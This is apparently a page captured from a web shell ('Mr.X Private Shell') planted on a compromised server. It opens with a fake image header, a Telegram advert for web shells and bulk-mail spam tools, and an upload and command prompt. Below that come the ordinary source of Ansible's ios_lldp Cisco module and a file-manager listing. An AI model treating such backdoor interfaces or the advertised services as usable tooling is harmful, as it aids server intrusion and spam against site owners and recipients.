����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import absolute_import, division, print_function


__metaclass__ = type

DOCUMENTATION = """
module: ios_lldp
author: Ganesh Nalawade (@ganeshrn)
short_description: (deprecated, removed after 2024-06-01) Manage LLDP configuration on Cisco IOS network devices.
description:
  - This module provides declarative management of LLDP service on Cisco IOS network
    devices.
version_added: 1.0.0
deprecated:
  alternative: ios_lldp_global
  why: Newer and updated modules released with more functionality.
  removed_at_date: "2024-06-01"
notes:
  - Tested against IOS 15.2
  - This module works with connection C(network_cli).
    See U(https://docs.ansible.com/ansible/latest/network/user_guide/platform_ios.html)
options:
  state:
    description:
      - State of the LLDP configuration. If value is I(present) lldp will be enabled
        else if it is I(absent) it will be disabled.
    default: present
    choices:
      - present
      - absent
      - enabled
      - disabled
    type: str
extends_documentation_fragment:
  - cisco.ios.ios
"""

EXAMPLES = """
- name: Enable LLDP service
  cisco.ios.ios_lldp:
    state: present

- name: Disable LLDP service
  cisco.ios.ios_lldp:
    state: absent
"""

RETURN = """
commands:
  description: The list of configuration mode commands to send to the device
  returned: always, except for the platforms that use Netconf transport to manage the device.
  type: list
  sample:
    - lldp run
"""
from ansible.module_utils.basic import AnsibleModule

from ansible_collections.cisco.ios.plugins.module_utils.network.ios.ios import (
    load_config,
    run_commands,
)


def has_lldp(module):
    output = run_commands(module, ["show lldp"])
    is_lldp_enable = False
    if len(output) > 0 and "LLDP is not enabled" not in output[0]:
        is_lldp_enable = True
    return is_lldp_enable


def main():
    """main entry point for module execution"""
    argument_spec = dict(
        state=dict(default="present", choices=["present", "absent", "enabled", "disabled"]),
    )
    module = AnsibleModule(argument_spec=argument_spec, supports_check_mode=True)
    warnings = list()
    result = {"changed": False}
    if warnings:
        result["warnings"] = warnings
    HAS_LLDP = has_lldp(module)
    commands = []
    if module.params["state"] == "absent" and HAS_LLDP:
        commands.append("no lldp run")
    elif module.params["state"] == "present" and not HAS_LLDP:
        commands.append("lldp run")
    result["commands"] = commands
    if commands:
        if not module.check_mode:
            load_config(module, commands)
        result["changed"] = True
    module.exit_json(**result)


if __name__ == "__main__":
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
ios_acl_interfaces.py File 17.59 KB 0644
ios_acls.py File 54.73 KB 0644
ios_banner.py File 6.14 KB 0644
ios_bgp.py File 16.55 KB 0644
ios_bgp_address_family.py File 102.57 KB 0644
ios_bgp_global.py File 100.12 KB 0644
ios_command.py File 14.23 KB 0644
ios_config.py File 23.18 KB 0644
ios_facts.py File 8.06 KB 0644
ios_hostname.py File 8.03 KB 0644
ios_interfaces.py File 25.09 KB 0644
ios_l2_interfaces.py File 19.36 KB 0644
ios_l3_interfaces.py File 23.98 KB 0644
ios_lacp.py File 6.94 KB 0644
ios_lacp_interfaces.py File 13.45 KB 0644
ios_lag_interfaces.py File 16.56 KB 0644
ios_linkagg.py File 10.8 KB 0644
ios_lldp.py File 3.29 KB 0644
ios_lldp_global.py File 10.17 KB 0644
ios_lldp_interfaces.py File 15.68 KB 0644
ios_logging.py File 14.92 KB 0644
ios_logging_global.py File 29.57 KB 0644
ios_ntp.py File 10.31 KB 0644
ios_ntp_global.py File 30.06 KB 0644
ios_ospf_interfaces.py File 34.33 KB 0644
ios_ospfv2.py File 59.75 KB 0644
ios_ospfv3.py File 72.73 KB 0644
ios_ping.py File 4.41 KB 0644
ios_prefix_lists.py File 32.05 KB 0644
ios_route_maps.py File 83.28 KB 0644
ios_service.py File 17.82 KB 0644
ios_snmp_server.py File 67.16 KB 0644
ios_static_routes.py File 30.87 KB 0644
ios_system.py File 11.96 KB 0644
ios_user.py File 20.1 KB 0644
ios_vlans.py File 30.29 KB 0644
ios_vrf.py File 25.62 KB 0644